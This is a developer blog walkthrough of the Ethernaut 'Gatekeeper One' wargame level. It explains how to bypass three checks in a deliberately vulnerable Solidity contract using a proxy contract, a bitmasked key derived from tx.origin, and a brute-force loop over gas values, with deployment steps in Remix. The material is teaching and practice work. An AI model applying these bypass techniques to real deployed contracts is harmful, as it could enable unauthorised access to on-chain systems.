Gatekeeper One - Level 13

Stefan Alfbo - May 15 - - Dev Community

Problem statement

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

  • Remember what you've learned from the Telephone and Token levels.
  • You can learn more about the special function gasleft(), in Solidity's documentation (see here and here).


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}


Enter fullscreen mode Exit fullscreen mode

Solution

Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.



await contract.address


Enter fullscreen mode Exit fullscreen mode

And keep the address available for a later step.

Open a new tab in your browser (Ctrl+t) and go to Remix. In Remix, create a new file and name it GatekeeperOneProxy.sol, and add the following Solidity code to it.



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
  function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneProxy {
  event GasNeeded(uint gas);

  function callEnter(address _address) external {
    bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);

    // Brute force
    for (uint256 i = 0; i < 8191; i++) {
        (bool success, ) = address(_address).call{gas: i + 30300}(abi.encodeWithSignature("enter(bytes8)", gateKey));
        if (success) {
            emit GasNeeded(i + 30300);
            return;
        } 
    }
  }
}


Enter fullscreen mode Exit fullscreen mode

Go to the compiler and compile the GatekeeperOneProxy contract.

compile

When the contract has been compiled without any errors it's possible to deploy it to the Sepolia network. This is done in the DEPLOY & RUN TRANSACTIONS view in Remix. Make sure to use the environment, Injected Provider - MetaMask.

Click the button Deploy and sign the transaction with your wallet. Now it's time to use our contract.

Take the address from step one and paste it into the enter field right of the orange callEnter button.

callEnter

When the address is pasted, push the orange callEnter button and sign the transaction with your wallet.

After the transaction has been mined and the execution is succeeded, jump back to web page where we created the new instance of the GatekeeperOne contract. In the console window verify that the contract has updated its state accordingly.



await contract.entrant()


Enter fullscreen mode Exit fullscreen mode

If the outcome looks fine (the value is not 0x00000...), then finish the challenge by clicking the button, Submit instance, to commit and update the progress on the ethernaut contract.

Explanation

There are three obstacles that we need to overcome in this problem. Each one is defined by a modifier function.

The first one.



    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }


Enter fullscreen mode Exit fullscreen mode

Has the same challenge as the problem statement in Telephone - Level 04. The solution to this is to use a "proxy" contract to make our calls through.

  • tx.origin (address): sender of the transaction (full call chain)
  • msg.sender (address): sender of the message (current call)

The second modifier is more difficult.



    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }


Enter fullscreen mode Exit fullscreen mode

Here we need to understand gasleft, which is a built-in function that is used to check the remaining gas during a contract call. And also how we can provide and control the gas and ether for the call invocation.

This is how the solution looks like.



    // Brute force
    for (uint256 i = 0; i < 8191; i++) {
        (bool success, ) = address(_address).call{gas: i + 30300}(abi.encodeWithSignature("enter(bytes8)", gateKey));
        if (success) {
            emit GasNeeded(i + 30300);
            return;
        } 
    }


Enter fullscreen mode Exit fullscreen mode

Here we loop up to 8191 to increment the gas in each call to the GatekeeperOne contract until we pass the modifier. The .call{gas: i + 30300} is where we control the gas. There is a lot of magic numbers here, however the reason behind the number 30300 is the fact that I tried it out in the Remix environment and used the Remix VM - Sepolia fork. That's also the reason why the emit statement is included in the code.

The last modifier.



    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }


Enter fullscreen mode Exit fullscreen mode

This is a good opportunity to use chisel to see how the type conversions are working.

Lets illustrate what happens with _gateKey on the left side first.

chisel left side

This shows us that there will be a conversion loss, and we loose FF. If we do the same exercise for the right side of the equal sign.

right side

Here we loose even more bits. With this information we have the insights for doing the bit manipulation to pass the first require statement.



bytes8 _gateKey = <value> & 0x0000FFFF;


Enter fullscreen mode Exit fullscreen mode

Next up is part two.

part two

There is no conversion loss here, however the first four bytes can't be equal to zero. Therefore we want to make sure that we don't mask away those values in the _gateKey variable since the left side conversion will turn them into zeros as seen earlier.



bytes8 _gateKey = <value> & 0xFFFFFFFF0000FFFF


Enter fullscreen mode Exit fullscreen mode

The third part indicates that our _gateKey should be based on the tx.origin variable. Let check how that last conversion behave in chisel.

part three

This one is similar to the first part, only the last two bytes are left, but it gives us the hint that our value should be the tx.origin variable.



bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);


Enter fullscreen mode Exit fullscreen mode

Now we have all the pieces to pass all the modifier functions and complete the hack.

This shows once again that is important to be aware of what happens when converting variables between different types in a contract.

Resources

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .